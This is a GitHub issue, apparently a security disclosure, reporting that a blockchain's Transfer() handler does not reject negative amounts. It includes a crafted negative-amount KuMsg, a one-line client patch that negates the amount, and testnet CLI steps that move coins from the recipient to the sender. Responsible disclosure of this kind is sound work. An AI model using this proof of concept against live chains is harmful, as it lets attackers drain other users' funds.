-
Notifications
You must be signed in to change notification settings - Fork 14
Description
Describe The Bug
There exists no negative check for Amount field in KuMsg when handling Transfer().
The attacker can send a transaction which contains a negative Amount. This transaction will be executed successfully, after which the To account coin will be transferred to From. By exploiting this vulnerability, the attacker could transfer all others' coins to the account of himself, which disasterly destroy the whole ecosystem.
Code Snippets (Optional)
/x/chain/type/types.pb.go:L103-111
type KuMsg struct {
Auth []github_com_cosmos_cosmos_sdk_types.AccAddress `protobuf:"bytes,1,rep,name=auth,proto3,casttype=github.com/cosmos/cosmos-sdk/types.AccAddress" json:"auth,omitempty" yaml:"auth"`
From AccountID `protobuf:"bytes,2,opt,name=from,proto3" json:"from" yaml:"from"`
To AccountID `protobuf:"bytes,3,opt,name=to,proto3" json:"to" yaml:"to"`
Amount github_com_cosmos_cosmos_sdk_types.Coins `protobuf:"bytes,4,rep,name=amount,proto3,castrepeated=github.com/cosmos/cosmos-sdk/types.Coins" json:"amount" yaml:"amount"`
Router Name `protobuf:"bytes,5,opt,name=router,proto3" json:"router" yaml:"router"`
Action Name `protobuf:"bytes,6,opt,name=action,proto3" json:"action" yaml:"action"`
Data []byte `protobuf:"bytes,7,opt,name=data,proto3" json:"data,omitempty" yaml:"data"`
}The Amount filed of the KuMsg struct can be set as a negative value.
To reproduce the vulnerability, we need to modify the source code a little bit.
Add some coins to testacc2 in scripts/boot-testnet.sh.
# ...
./build/ktsd ${PARAMS} genesis add-account-coin kratos "100000000000000000000000kratos/kts"
./build/ktsd ${PARAMS} genesis add-account-coin testacc2 "10000kratos/kts" # Add this line.
# ...Modify the client code to make the amount set as negative when constructing the transfer transction.
/x/asset/client/cli/tx.go:L41-76
func Transfer(cdc *codec.Codec) *cobra.Command {
...
coin, err := sdk.ParseCoins(args[2])
if err != nil {
return err
}
coin[0].Amount = coin[0].Amount.Neg() // Add this line
...
}Input/Output
- Craft a KuMsg: '{"from":"kratos","to":"testacc2","amount":["-10000kratos/kts"]}'
- Output: None
To Reproduce
Steps to reproduce the behavior:
- Modify the source code as shown in the
Code Snippets. - make
- ./scripts/boot-testnet.sh ./
- ./build/ktscli query asset coins kratos
- ./build/ktscli query asset coins testacc2
- ./build/ktscli tx asset transfer kratos testacc2 10000kratos/kts --keyring-backend test --chain-id testing --home ./testing/cli/ --from kratos
- ./build/ktscli query asset coins kratos
- ./build/ktscli query asset coins testacc2
Expected Behavior
Return an error "The amount of coin cannot be negative."
Screenshots
Before the transaction:
Desktop (please complete the following information):
- OS: [macOS Catalina 10.15.6]
Additional Context (Optional)
Note: This problem not only exists in Transfer(), many other places also have this problem.
Contact Information
xiang.yin@chaitin.com
blockchain@chaitin.com

